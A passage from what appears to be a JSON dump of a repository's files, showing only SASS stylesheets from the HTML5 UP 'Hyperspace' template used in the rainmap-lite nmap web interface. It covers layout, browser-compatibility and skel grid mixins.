1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-loading & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-down {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-loading & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t\t@include vendor('transform', 'translateY(-1em)');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 1.0;\n\t\t\t}\n\n\t\t\t&.inactive,\n\t\t\tbody.is-loading & {\n\t\t\t\t> .inner {\n\t\t\t\t\topacity: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/ie8.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/skel';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @n33co\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n/* Type */\r\n\r\n\tbody, input, select, textarea {\r\n\t\tcolor: _palette(fg-bold);\r\n\t}\r\n\r\n/* Button */\r\n\r\n\tinput[type=\"submit\"],\r\n\tinput[type=\"reset\"],\r\n\tinput[type=\"button\"],\r\n\tbutton,\r\n\t.button {\r\n\t\tposition: relative;\r\n\r\n\t\t&:after {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}\r\n\r\n/* Features */\r\n\r\n\t.features {\r\n\t\tborder: solid 1px;\r\n\t}\r\n\r\n/* Form */\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tinput[type=\"tel\"],\r\n\tselect,\r\n\ttextarea {\r\n\t\tbackground: transparent;\r\n\t\tborder: solid 1px;\r\n\t}\r\n\r\n/* Split */\r\n\r\n\t.split {\r\n\t\t&.style1 {\r\n\t\t\t> :first-child {\r\n\t\t\t\tpadding-right: 2em;\r\n\t\t\t\twidth: 70%;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/ie9.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/skel';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @n33co\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n/* Type */\r\n\r\n\th1 {\r\n\t\t&.major {\r\n\t\t\t&:after {\r\n\t\t\t\tbackground: _palette(accent3);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n/* Wrapper */\r\n\r\n\t.wrapper {\r\n\t\t&.fullscreen {\r\n\t\t\tmin-height: 0;\r\n\t\t\tpadding-bottom: 6em;\r\n\t\t\tpadding-top: 6em;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\theight: auto;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\tpadding-left: 20em;\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t> .image {\r\n\t\t\t\theight: 100%;\r\n\t\t\t\tleft: 0;\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\ttop: 0;\r\n\t\t\t\twidth: 20em;\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n/* Features */\r\n\r\n\t.features {\r\n\t\t&:after {\r\n\t\t\tclear: both;\r\n\t\t\tcontent: '';\r\n\t\t\tdisplay: block;\r\n\t\t}\r\n\r\n\t\tsection {\r\n\t\t\tfloat: left;\r\n\t\t}\r\n\t}\r\n\r\n/* Split */\r\n\r\n\t.split {\r\n\t\t&:after {\r\n\t\t\tclear: both;\r\n\t\t\tcontent: '';\r\n\t\t\tdisplay: block;\r\n\t\t}\r\n\r\n\t\t> * {\r\n\t\t\tfloat: left;\r\n\t\t}\r\n\t}\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\tnav {\r\n\t\t\ta {\r\n\t\t\t\t&:after {\r\n\t\t\t\t\tbackground-color: _palette(accent3);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n/* Header */\r\n\r\n\t#header {\r\n\t\t&:after {\r\n\t\t\tclear: both;\r\n\t\t\tcontent: '';\r\n\t\t\tdisplay: block;\r\n\t\t}\r\n\r\n\t\t> .title {\r\n\t\t\tfloat: left;\r\n\t\t}\r\n\r\n\t\t> nav {\r\n\t\t\tfloat: right;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/layout/_footer.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Footer */\r\n\r\n\t#footer {\r\n\t\t#sidebar + #wrapper + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint(large) {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t> .inner {\r\n\t\t\ta {\r\n\t\t\t\tborder-bottom-color: _palette(border);\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tborder-bottom-color: transparent;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t.menu {\r\n\t\t\t\tfont-size: 0.8em;\r\n\t\t\t\tcolor: _palette(border);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + #wrapper + & {\r\n\t\t\t> .inner {\r\n\t\t\t\tmargin: 0 auto;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/layout/_header.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Header */\r\n\r\n\t#header {\r\n\t\t@include vendor('display', 'flex');\r\n\t\tbackground-color: _palette(accent1);\r\n\t\tcursor: default;\r\n\t\tpadding: 1.75em 2em;\r\n\r\n\t\t> .title {\r\n\t\t\tborder: 0;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t}\r\n\r\n\t\t> nav {\r\n\t\t\t@include vendor('flex', '1');\r\n\t\t\ttext-align: right;\r\n\r\n\t\t\t> ul {\r\n\t\t\t\tmargin: 0;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\tmargin-left: 1.75em;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tvertical-align: middle;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin-left: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\ta {\r\n\t\t\t\t\t\tborder: 0;\r\n\t\t\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\t\t\tdisplay: inline-block;\r\n\t\t\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t\t\t&:hover {\r\n\t\t\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t&.active {\r\n\t\t\t\t\t\t\tcolor: _palette(fg-bold);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(small) {\r\n\t\t\tpadding: 1em 2em;\r\n\t\t}\r\n\r\n\t\t@include breakpoint(xsmall) {\r\n\t\t\tdisplay: block;\r\n\t\t\tpadding: 0 2em;\r\n\t\t\ttext-align: left;\r\n\r\n\t\t\t.title {\r\n\t\t\t\tfont-size: 1.25em;\r\n\t\t\t\tpadding: 1em 0;\r\n\t\t\t}\r\n\r\n\t\t\t> nav {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\ttext-align: inherit;\r\n\r\n\t\t\t\t> ul {\r\n\t\t\t\t\t> li {\r\n\t\t\t\t\t\tmargin-left: 1.5em;\r\n\r\n\t\t\t\t\t\ta {\r\n\t\t\t\t\t\t\theight: 6em;\r\n\t\t\t\t\t\t\tline-height: 6em;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/layout/_intro.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Intro */\r\n\r\n\t#intro {\r\n\t\tbackground-attachment: fixed;\r\n\t\tbackground-image: url('images/intro.svg');\r\n\t\tbackground-position: top right;\r\n\t\tbackground-repeat: no-repeat;\r\n\t\tbackground-size: 100% 100%;\r\n\r\n\t\tp {\r\n\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t@include breakpoint(medium) {\r\n\t\t\t\tbr {\r\n\t\t\t\t\tdisplay: none;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint(small) {\r\n\t\t\t\tfont-size: 1em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(large) {\r\n\t\t\tbackground-attachment: scroll;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/layout/_sidebar.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\t@include padding(2.5em, 2.5em);\r\n\t\tbackground: _palette(bg);\r\n\t\tcursor: default;\r\n\t\theight: 100vh;\r\n\t\tleft: 0;\r\n\t\toverflow-x: hidden;\r\n\t\toverflow-y: auto;\r\n\t\tposition: fixed;\r\n\t\ttext-align: right;\r\n\t\ttop: 0;\r\n\t\twidth: _size(sidebar-width);\r\n\t\tz-index: _misc(z-index-base);\r\n\r\n\t\t> .inner {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t));\r\n\t\t\tmin-height: 100%;\r\n\t\t\topacity: 1;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\theight: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tnav {\r\n\t\t\t> ul {\r\n\t\t\t\tlist-style: none;\r\n\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t> li {\r\n\t\t\t\t\t@include vendor('transform', 'translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation) * 0.15} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation) * 0.75} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\tmargin: 1.5em 0 0 0;\r\n\t\t\t\t\topacity: 1;\r\n\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\tposition: relative;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tmargin: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t@for $i from 1 through _misc(max-sidebar-links) {\r\n\t\t\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(activation) * 0.2 * $i) + (_duration(activation) * 0.25)}');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\ta {\r\n\t\t\t\t@include vendor('transition', 'color #{_duration(transition)} ease');\r\n\t\t\t\tborder: 0;\r\n\t\t\t\tcolor: _palette(fg-light);\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tfont-size: 0.6em;\r\n\t\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\t\tletter-spacing: _font(kerning-alt);\r\n\t\t\t\tline-height: 1.75;\r\n\t\t\t\toutline: 0;\r\n\t\t\t\tpadding: 1.35em 0;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\ttext-decoration: none;\r\n\t\t\t\ttext-transform: uppercase;\r\n\r\n\t\t\t\t&:before,\r\n\t\t\t\t&:after {\r\n\t\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\t\tbottom: 0;\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\theight: 0.2em;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\tright: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\tbackground: lighten(_palette(bg), 5);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\t\tmax-width: 0;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:hover {\r\n\t\t\t\t\tcolor: _palette(fg);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.active {\r\n\t\t\t\t\tcolor: _palette(fg-bold);\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tmax-width: 100%;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tbody.is-loading & {\r\n\t\t\t> .inner {\r\n\t\t\t\topacity: 0;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\tul {\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateY(2em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(large) {\r\n\t\t\theight: _size(sidebar-height);\r\n\t\t\tleft: 0;\r\n\t\t\tline-height: _size(sidebar-height);\r\n\t\t\toverflow: hidden;\r\n\t\t\tpadding: 0;\r\n\t\t\ttext-align: center;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\t> .inner {\r\n\t\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\t\t@include vendor('align-items', 'stretch');\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\t\t\t}\r\n\r\n\t\t\tnav {\r\n\t\t\t\theight: inherit;\r\n\t\t\t\tline-height: inherit;\r\n\r\n\t\t\t\tul {\r\n\t\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tmargin: 0;\r\n\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\t\theight: inherit;\r\n\t\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\t\tmargin: 0 0 0 2em;\r\n\t\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\ta {\r\n\t\t\t\t\theight: inherit;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tpadding: 0;\r\n\r\n\t\t\t\t\t&:after {\r\n\t\t\t\t\t\tbackground-image: none;\r\n\t\t\t\t\t\tbackground-color: _palette(accent3);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(small) {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/layout/_wrapper.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Wrapper (main) */\r\n\r\n\t#wrapper {\r\n\t\t#sidebar + & {\r\n\t\t\tmargin-left: _size(sidebar-width);\r\n\r\n\t\t\t@include breakpoint(large) {\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t\tpadding-top: _size(sidebar-height);\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint(small) {\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t#header + & {\r\n\t\t\t> .wrapper {\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\tmargin: 0 auto;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/libs/_functions.scss",
    "content": "/// Gets a duration value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _duration($keys...) {\r\n\t@return val($duration, $keys...);\r\n}\r\n\r\n/// Gets a font value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _font($keys...) {\r\n\t@return val($font, $keys...);\r\n}\r\n\r\n/// Gets a misc value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _misc($keys...) {\r\n\t@return val($misc, $keys...);\r\n}\r\n\r\n/// Gets a palette value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _palette($keys...) {\r\n\t@return val($palette, $keys...);\r\n}\r\n\r\n/// Gets a size value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _size($keys...) {\r\n\t@return val($size, $keys...);\r\n}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/libs/_mixins.scss",
    "content": "/// Makes an element's :before pseudoelement a FontAwesome icon.\r\n/// @param {string} $content Optional content value to use.\r\n/// @param {string} $where Optional pseudoelement to target (before or after).\r\n@mixin icon($content: false, $where: before) {\r\n\r\n\ttext-decoration: none;\r\n\r\n\t&:#{$where} {\r\n\r\n\t\t@if $content {\r\n\t\t\tcontent: $content;\r\n\t\t}\r\n\r\n\t\t-moz-osx-font-smoothing: grayscale;\r\n\t\t-webkit-font-smoothing: antialiased;\r\n\t\tfont-family: FontAwesome;\r\n\t\tfont-style: normal;\r\n\t\tfont-weight: normal;\r\n\t\ttext-transform: none !important;\r\n\r\n\t}\r\n\r\n}\r\n\r\n/// Applies padding to an element, taking the current element-margin value into account.\r\n/// @param {mixed} $tb Top/bottom padding.\r\n/// @param {mixed} $lr Left/right padding.\r\n/// @param {list} $pad Optional extra padding (in the following order top, right, bottom, left)\r\n/// @param {bool} $important If true, adds !important.\r\n@mixin padding($tb, $lr, $pad: (0,0,0,0), $important: null) {\r\n\r\n\t@if $important {\r\n\t\t$important: '!important';\r\n\t}\r\n\r\n\tpadding: ($tb + nth($pad,1)) ($lr + nth($pad,2)) max(0.1em, $tb - _size(element-margin) + nth($pad,3)) ($lr + nth($pad,4)) #{$important};\r\n\r\n}\r\n\r\n/// Encodes a SVG data URL so IE doesn't choke (via codepen.io/jakob-e/pen/YXXBrp).\r\n/// @param {string} $svg SVG data URL.\r\n/// @return {string} Encoded SVG data URL.\r\n@function svg-url($svg) {\r\n\r\n    $svg: str-replace($svg, '\"', '\\'');\r\n    $svg: str-replace($svg, '<', '%3C');\r\n    $svg: str-replace($svg, '>', '%3E');\r\n    $svg: str-replace($svg, '&', '%26');\r\n    $svg: str-replace($svg, '#', '%23');\r\n\r\n    @return url(\"data:image/svg+xml;charset=utf8,#{$svg}\");\r\n\r\n}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/libs/_skel.scss",
    "content": "// skel.scss v3.0.0 | (c) n33 | skel.io | MIT licensed */\r\n\r\n// Vars.\r\n\r\n\t/// Breakpoints.\r\n\t/// @var {list}\r\n\t$breakpoints: () !global;\r\n\r\n\t/// Vendor prefixes.\r\n\t/// @var {list}\r\n\t$vendor-prefixes: (\r\n\t\t'-moz-',\r\n\t\t'-webkit-',\r\n\t\t'-ms-',\r\n\t\t''\r\n\t);\r\n\r\n\t/// Properties that should be vendorized.\r\n\t/// @var {list}\r\n\t$vendor-properties: (\r\n\t\t'align-content',\r\n\t\t'align-items',\r\n\t\t'align-self',\r\n\t\t'animation',\r\n\t\t'animation-delay',\r\n\t\t'animation-direction',\r\n\t\t'animation-duration',\r\n\t\t'animation-fill-mode',\r\n\t\t'animation-iteration-count',\r\n\t\t'animation-name',\r\n\t\t'animation-play-state',\r\n\t\t'animation-timing-function',\r\n\t\t'appearance',\r\n\t\t'backface-visibility',\r\n\t\t'box-sizing',\r\n\t\t'filter',\r\n\t\t'flex',\r\n\t\t'flex-basis',\r\n\t\t'flex-direction',\r\n\t\t'flex-flow',\r\n\t\t'flex-grow',\r\n\t\t'flex-shrink',\r\n\t\t'flex-wrap',\r\n\t\t'justify-content',\r\n\t\t'order',\r\n\t\t'perspective',\r\n\t\t'pointer-events',\r\n\t\t'transform',\r\n\t\t'transform-origin',\r\n\t\t'transform-style',\r\n\t\t'transition',\r\n\t\t'transition-delay',\r\n\t\t'transition-duration',\r\n\t\t'transition-property',\r\n\t\t'transition-timing-function'\r\n\t);\r\n\r\n\t/// Values that should be vendorized.\r\n\t/// @var {list}\r\n\t$vendor-values: (\r\n\t\t'filter',\r\n\t\t'flex',\r\n\t\t'linear-gradient',\r\n\t\t'radial-gradient',\r\n\t\t'transform'\r\n\t);\r\n\r\n// Functions.\r\n\r\n\t/// Removes a specific item from a list.\r\n\t/// @author Hugo Giraudel\r\n\t/// @param {list} $list List.\r\n\t/// @param {integer} $index Index.\r\n\t/// @return {list} Updated list.\r\n\t@function remove-nth($list, $index) {\r\n\r\n\t\t$result: null;\r\n\r\n\t\t@if type-of($index) != number {\r\n\t\t\t@warn \"$index: #{quote($index)} is not a number for `remove-nth`.\";\r\n\t\t}\r\n\t\t@else if $index == 0 {\r\n\t\t\t@warn \"List index 0 must be a non-zero integer for `remove-nth`.\";\r\n\t\t}\r\n\t\t@else if abs($index) > length($list) {\r\n\t\t\t@warn \"List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.\";\r\n\t\t}\r\n\t\t@else {\r\n\r\n\t\t\t$result: ();\r\n\t\t\t$index: if($index < 0, length($list) + $index + 1, $index);\r\n\r\n\t\t\t@for $i from 1 through length($list) {\r\n\r\n\t\t\t\t@if $i != $index {\r\n\t\t\t\t\t$result: append($result, nth($list, $i));\r\n\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\t@return $result;\r\n\r\n\t}\r\n\r\n\t/// Replaces a substring within another string.\r\n\t/// @author Hugo Giraudel\r\n\t/// @param {string} $string String.\r\n\t/// @param {string} $search Substring.\r\n\t/// @param {string} $replace Replacement.\r\n\t/// @return {string} Updated string.\r\n\t@function str-replace($string, $search, $replace: '') {\r\n\r\n\t\t$index: str-index($string, $search);\r\n\r\n\t\t@if $index {\r\n\t\t\t@return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);\r\n\t\t}\r\n\r\n\t\t@return $string;\r\n\r\n\t}\r\n\r\n\t/// Replaces a substring within each string in a list.\r\n\t/// @param {list} $strings List of strings.\r\n\t/// @param {string} $search Substring.\r\n\t/// @param {string} $replace Replacement.\r\n\t/// @return {list} Updated list of strings.\r\n\t@function str-replace-all($strings, $search, $replace: '') {\r\n\r\n\t\t@each $string in $strings {\r\n\t\t\t$strings: set-nth($strings, index($strings, $string), str-replace($string, $search, $replace));\r\n\t\t}\r\n\r\n\t\t@return $strings;\r\n\r\n\t}\r\n\r\n\t/// Gets a value from a map.\r\n\t/// @author Hugo Giraudel\r\n\t/// @param {map} $map Map.\r\n\t/// @param {string} $keys Key(s).\r\n\t/// @return {string} Value.\r\n\t@function val($map, $keys...) {\r\n\r\n\t\t@if nth($keys, 1) == null {\r\n\t\t\t$keys: remove-nth($keys, 1);\r\n\t\t}\r\n\r\n\t\t@each $key in $keys {\r\n\t\t\t$map: map-get($map, $key);\r\n\t\t}\r\n\r\n\t\t@return $map;\r\n\r\n\t}\r\n\r\n// Mixins.\r\n\r\n\t/// Sets the global box model.\r\n\t/// @param {string} $model Model (default is content).\r\n\t@mixin boxModel($model: 'content') {\r\n\r\n\t\t$x: $model + '-box';\r\n\r\n\t\t*, *:before, *:after {\r\n\t\t\t-moz-box-sizing: #{$x};\r\n\t\t\t-webkit-box-sizing: #{$x};\r\n\t\t\tbox-sizing: #{$x};\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t/// Wraps @content in a @media block using a given breakpoint.\r\n\t/// @param {string} $breakpoint Breakpoint.\r\n\t/// @param {map} $queries Additional queries.\r\n\t@mixin breakpoint($breakpoint: null, $queries: null) {\r\n\r\n\t\t$query: 'screen';\r\n\r\n\t\t// Breakpoint.\r\n\t\t\t@if $breakpoint and map-has-key($breakpoints, $breakpoint) {\r\n\t\t\t\t$query: $query + ' and ' + map-get($breakpoints, $breakpoint);\r\n\t\t\t}\r\n\r\n\t\t// Queries.\r\n\t\t\t@if $queries {\r\n\t\t\t\t@each $k, $v in $queries {\r\n\t\t\t\t\t$query: $query + ' and (' + $k + ':' + $v + ')';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n        @media #{$query} {\r\n            @content;\r\n        }\r\n\r\n\t}\r\n\r\n\t/// Wraps @content in a @media block targeting a specific orientation.\r\n\t/// @param {string} $orientation Orientation.\r\n\t@mixin orientation($orientation) {\r\n\t\t@media screen and (orientation: #{$orientation}) {\r\n\t\t\t@content;\r\n\t\t}\r\n\t}\r\n\r\n\t/// Utility mixin for containers.\r\n\t/// @param {mixed} $width Width.\r\n\t@mixin containers($width) {\r\n\r\n\t\t// Locked?\r\n\t\t\t$lock: false;\r\n\r\n\t\t\t@if length($width) == 2 {\r\n\t\t\t\t$width: nth($width, 1);\r\n\t\t\t\t$lock: true;\r\n\t\t\t}\r\n\r\n\t\t// Modifiers.\r\n\t\t\t.container.\\31 25\\25\t\t{ width: 100%; max-width: $width * 1.25; min-width: $width; }\r\n\t\t\t.container.\\37 5\\25\t\t\t{ width: $width * 0.75; }\r\n\t\t\t.container.\\35 0\\25\t\t\t{ width: $width * 0.5; }\r\n\t\t\t.container.\\32 5\\25\t\t\t{ width: $width * 0.25; }\r\n\r\n\t\t// Main class.\r\n\t\t\t.container {\r\n\t\t\t\t@if $lock {\r\n\t\t\t\t\twidth: $width !important;\r\n\t\t\t\t}\r\n\t\t\t\t@else {\r\n\t\t\t\t\twidth: $width;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t}\r\n\r\n\t/// Utility mixin for grid.\r\n\t/// @param {list} $gutters Column and row gutters (default is 40px).\r\n\t/// @param {string} $breakpointName Optional breakpoint name.\r\n\t@mixin grid($gutters: 40px, $breakpointName: null) {\r\n\r\n\t\t// Gutters.\r\n\t\t\t@include grid-gutters($gutters);\r\n\t\t\t@include grid-gutters($gutters, \\32 00\\25, 2);\r\n\t\t\t@include grid-gutters($gutters, \\31 50\\25, 1.5);\r\n\t\t\t@include grid-gutters($gutters, \\35 0\\25, 0.5);\r\n\t\t\t@include grid-gutters($gutters, \\32 5\\25, 0.25);\r\n\r\n\t\t// Cells.\r\n\t\t\t$x: '';\r\n\r\n\t\t\t@if $breakpointName {\r\n\t\t\t\t$x: '\\\\28' + $breakpointName + '\\\\29';\r\n\t\t\t}\r\n\r\n\t\t\t.\\31 2u#{$x}, .\\31 2u\\24#{$x} { width: 100%; clear: none; margin-left: 0; }\r\n\t\t\t.\\31 1u#{$x}, .\\31 1u\\24#{$x} { width: 91.6666666667%; clear: none; margin-left: 0; }\r\n\t\t\t.\\31 0u#{$x}, .\\31 0u\\24#{$x} { width: 83.3333333333%; clear: none; margin-left: 0; }\r\n\t\t\t.\\39 u#{$x}, .\\39 u\\24#{$x} { width: 75%; clear: none; margin-left: 0; }\r\n\t\t\t.\\38 u#{$x}, .\\38 u\\24#{$x} { width: 66.6666666667%; clear: none; margin-left: 0; }\r\n\t\t\t.\\37 u#{$x}, .\\37 u\\24#{$x} { width: 58.3333333333%; clear: none; margin-left: 0; }\r\n\t\t\t.\\36 u#{$x}, .\\36 u\\24#{$x} { width: 50%; clear: none; margin-left: 0; }\r\n\t\t\t.\\35 u#{$x}, .\\35 u\\24#{$x} { width: 41.6666666667%; clear: none; margin-left: 0; }\r\n\t\t\t.\\34 u#{$x}, .\\34 u\\24#{$x} { width: 